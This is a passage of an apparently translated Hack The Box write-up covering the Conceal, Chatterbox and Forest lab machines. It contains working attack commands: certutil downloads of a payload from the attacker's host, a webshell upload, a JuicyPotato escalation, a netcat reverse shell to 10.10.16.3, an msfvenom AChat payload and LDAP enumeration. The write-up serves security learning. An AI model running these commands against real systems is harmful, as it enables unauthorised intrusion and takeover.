class="cl"&gt; strictcrlpolicy=no&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;conn test&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; authby=secret&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; auto=add&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; ike=3des-sha1-modp1024!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; esp=3des-sha1!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; type=transport&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; keyexchange=ikev1&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; left=10.10.16.3&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; right=10.10.10.116&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; rightsubnet=10.10.10.116[tcp]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;ipsec restart&lt;/p&gt;&#10;&lt;p&gt;ipsec status&lt;/p&gt;&#10;&lt;p&gt;ipsec up test&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0056.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That did it. Of all the blog posts I referenced for this part, the useful ones were roughly these:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/" target="_blank" rel="noopener"&#10; &gt;https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only" target="_blank" rel="noopener"&#10; &gt;https://help.clouding.io/hc/en-us/articles/11453622632220-How-to-Install-and-Configure-strongSwan-on-Debian-Ubuntu-IPsec-Only&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/" target="_blank" rel="noopener"&#10; &gt;https://www.tecmint.com/setup-ipsec-vpn-with-strongswan-on-debian-ubuntu/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE" target="_blank" rel="noopener"&#10; &gt;https://ericfu.me/debian-strongswan-ikev2-vpn/#strongswan-%E9%85%8D%E7%BD%AE&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/projects/strongswan/wiki/connsection" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/projects/strongswan/wiki/connsection&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://wiki.strongswan.org/issues/2666" target="_blank" rel="noopener"&#10; &gt;https://wiki.strongswan.org/issues/2666&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://blog.imkasen.com/strongswan-config/" target="_blank" rel="noopener"&#10; &gt;https://blog.imkasen.com/strongswan-config/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I was finally in and could scan TCP. I had found a few ports earlier, but it was worth scanning again.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0057.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The results came back, but the scan had to be TCP because we had only connected over TCP.&lt;/p&gt;&#10;&lt;p&gt;There was nothing available through anonymous ftp.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0058.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Port 80 revealed an upload directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0059.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t connect to the smb service.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0060.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There were matching upload directories on ftp and http. Obviously, ftp was serving the http directory, though I still needed to verify it.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0061.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, after I uploaded 1.txt over ftp, it appeared under upload. Now I needed to find out what the backend used. It was usually asp or aspx, if I remembered correctly, so I tried them one by one.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0062.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;aspx failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0063.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;asp failed too.&lt;/p&gt;&#10;&lt;p&gt;Switching to a different asp shell worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tennc/webshell/blob/master/asp/webshell.asp" target="_blank" rel="noopener"&#10; &gt;https://github.com/tennc/webshell/blob/master/asp/webshell.asp&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0064.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was strange that the asp backdoor from msfvenom failed.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0065.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Generate the backdoor.&lt;/p&gt;&#10;&lt;p&gt;Put the command together:&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;certutil -urlcache -split -f &lt;a class="link" href="http://10.10.16.3:33333/Conceal/shell.exe" target="_blank" rel="noopener"&#10; &gt;http://10.10.16.3:33333/Conceal/shell.exe&lt;/a&gt; \Users\Destitute\1.exe &amp;amp;&amp;amp; start \Users\Destitute\1.exe&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0066.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The reverse connection succeeded.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0067.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I got a shell.&lt;/p&gt;&#10;&lt;p&gt;Time to escalate privileges. Unfortunately, I didn&amp;rsquo;t know Windows privilege escalation particularly well at the time. I had only learned the systeminfo approach.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0068.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I tried everything I could.&lt;/p&gt;&#10;&lt;p&gt;After trying quite a few privilege-escalation methods, Rotten Potato seemed like a good fit for this box.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;whoami /priv&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;This is one of the standard privilege-escalation approaches. I couldn&amp;rsquo;t learn only by working through boxes; I still needed to spend more time studying Windows privilege escalation.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0069.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It was pretty straightforward to use.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0070.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;But it kept failing and I couldn&amp;rsquo;t get it to work. Time to switch to JuicyPotato.&lt;/p&gt;&#10;&lt;p&gt;Project: &lt;a class="link" href="https://github.com/ohpe/juicy-potato/releases/tag/v0.1" target="_blank" rel="noopener"&#10; &gt;https://github.com/ohpe/juicy-potato/releases/tag/v0.1&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;nc: &lt;a class="link" href="https://eternallybored.org/misc/netcat/" target="_blank" rel="noopener"&#10; &gt;https://eternallybored.org/misc/netcat/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Upload everything to the target machine.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/jp.exe \Users\Destitute\jp.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;certutil -urlcache -split -f http://10.10.16.3:33333/Privilege_Escalation_tool_windows/nc64.exe \Users\Destitute\nc64.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Next, prepare the other files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Create a reverse-shell batch file; replace nc64 with its absolute path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;echo START C:\Users\Destitute\nc64.exe -e cmd.exe 10.10.16.3 5555 &amp;gt; shell.bat&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/ohpe/juicy-potato/tree/master/CLSID Find the matching CLSID&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://github.com/ohpe/juicy-potato/blob/master/CLSID/Windows_10_Enterprise/CLSID.list I used the last entry&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# For -l, use any unused port&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\jp.exe -t t -p .\shell.bat -l 1118 -c &amp;#34;{0134A8B2-3407-4B45-AD25-E9F7C92A80BC}&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 5555&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0071.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;I learned a lot from this box. The hardest part, in my opinion, was configuring ipsec. It took ages and was a real pain.&lt;/p&gt;&#10;&lt;p&gt;The other big lesson was Rotten Potato. I hadn&amp;rsquo;t had much exposure to standard Windows privilege escalation, but now this technique was burned into my memory.&lt;/p&gt;&#10;&lt;h2 id="6chatterbox"&gt;&lt;a href="#6chatterbox" class="header-anchor"&gt;&lt;/a&gt;6.Chatterbox&#10;&lt;/h2&gt;&lt;p&gt;Recon:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0072.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0073.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0074.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0075.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The usual smb connection didn&amp;rsquo;t work, but nmap reported information about two services on ports 9255 and 9256.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0076.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I Googled them to find out what these services were.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0077.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, I found an exploit for them.&lt;/p&gt;&#10;&lt;p&gt;Unfortunately, the exploit on Kali just wouldn&amp;rsquo;t work no matter how many times I tried it. Maybe there was something wrong with how it generated the payload.&lt;/p&gt;&#10;&lt;p&gt;Luckily, I found a project on GitHub:&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mpgn/AChat-Reverse-TCP-Exploit" target="_blank" rel="noopener"&#10; &gt;https://github.com/mpgn/AChat-Reverse-TCP-Exploit&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;This exploit had a bit of a problem too: it gave me an msf shell, so I still needed to modify it. The Kali exploit above actually showed how to generate the payload, but whenever I tried adding LHOST and LPORT, it either threw an error or failed. I just needed to tweak the payload from this GitHub project instead.&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;msfvenom -a x86 &amp;ndash;platform Windows -p windows/shell_reverse_tcp RHOST=10.10.10.74 LHOST=10.10.16.3 LPORT=6666 exitfunc=thread -e x86/unicode_mixed -b &amp;lsquo;\x00\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff&amp;rsquo; BufferRegister=EAX -f python&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;That did the trick. I only had to replace buf in the exploit.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0078.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;shell&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0079.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Time to start privilege escalation. After running systeminfo, it looked like Rotten Potato might still be an option.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0080.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0081.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It wasn&amp;rsquo;t enabled.&lt;/p&gt;&#10;&lt;p&gt;However, we could still enter the administrator directory and find the root.txt file.&lt;/p&gt;&#10;&lt;p&gt;Trying to access it returned a permissions error, but dir /q showed that the file belonged to the current user. All we had to do was grant it read access.&lt;/p&gt;&#10;&lt;p&gt;This post was a useful reference: &lt;a class="link" href="https://blog.csdn.net/senge_com/article/details/134508668" target="_blank" rel="noopener"&#10; &gt;https://blog.csdn.net/senge_com/article/details/134508668&lt;/a&gt;&lt;/p&gt;&#10;&#10; &lt;blockquote&gt;&#10; &lt;p&gt;cacls root.txt /p everyone:f /e /t&lt;/p&gt;&#10;&#10; &lt;/blockquote&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0082.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done. I still hadn&amp;rsquo;t actually escalated to administrator, though.&lt;/p&gt;&#10;&lt;p&gt;Time to start reading writeups—all of them, really, since Windows privilege escalation is one of my weaker areas.&lt;/p&gt;&#10;&lt;p&gt;This seems to be the route everyone took. I still haven&amp;rsquo;t found a Windows enumeration script like linenum on Linux. Maybe everything has to be done manually?&lt;/p&gt;&#10;&lt;h2 id="7forest"&gt;&lt;a href="#7forest" class="header-anchor"&gt;&lt;/a&gt;7.Forest&#10;&lt;/h2&gt;&lt;p&gt;Information gathering:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0083.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0084.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Let&amp;rsquo;s go through them one by one.&lt;/p&gt;&#10;&lt;p&gt;domain dns&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0085.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No shares by default.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0086.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Looking more closely, I realized this was actually a domain controller.&lt;/p&gt;&#10;&lt;p&gt;======================================================&lt;/p&gt;&#10;&lt;p&gt;Skipping ahead five days.&lt;/p&gt;&#10;&lt;p&gt;======================================================&lt;/p&gt;&#10;&lt;p&gt;I spent five days cramming domain penetration testing. I learned and reproduced all the basic logic and common vulnerabilities, and documented them in another article.&lt;/p&gt;&#10;&lt;p&gt;A few days earlier, back when I didn&amp;rsquo;t know much about domains, I read a write-up that put it like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0087.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This goes beyond the scope of the OSCP exam. If someone can complete this box without help, the Active Directory portion of OSCP should be no problem for them. The author also mentioned that this box is intended for practice, so I&amp;rsquo;ll work through it using my own ideas and consult a write-up whenever I get stuck.&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Starting here: I&amp;rsquo;d already checked the domain controller&amp;rsquo;s DNS and SMB, but didn&amp;rsquo;t find much because my information gathering wasn&amp;rsquo;t thorough enough. Since I now knew the target was a domain controller, the first thing to get was its hostname. By default, that gives you the domain controller&amp;rsquo;s computer account name. Then there was the domain name. I hadn&amp;rsquo;t obtained either of those before.&lt;/p&gt;&#10;&lt;p&gt;Like this:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0088.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Starting with LDAP.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;These are two enumeration methods; check the required parameters&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV --script &amp;#34;ldap* and not brute&amp;#34; -p 389 &amp;lt;dc-ip&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -h &amp;lt;ip&amp;gt; -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV -sU --script &amp;#34;ldap* and not brute&amp;#34; -p 389 10.10.10.161&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0089.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0090.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -s base&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0091.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -x -H ldap://10.10.10.161:389 -b dc=test,dc=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0092.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap" target="_blank" rel="noopener"&#10; &gt;https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-ldap&lt;/a&gt; mentioned a method for extracting information anonymously.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0093.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local &amp;#34;(objectClass=person)&amp;#34; &amp;#34;*&amp;#34; +&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;a class="link" href="https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain" target="_blank" rel="noopener"&#10; &gt;https://stackoverflow.com/questions/508014/active-directory-ldap-query-by-samaccountname-and-domain&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;That page mentioned some other parameters. After looking into it, I realized this was just a filter. The previous request returned a lot of information, so I needed a filter to narrow it down.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ldapsearch -H ldap://10.10.10.161:389 -x -b dc=htb,dc=local &amp;#34;(objectCategory=person)&amp;#34; | grep sAMAccountName&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That filtered out the exact 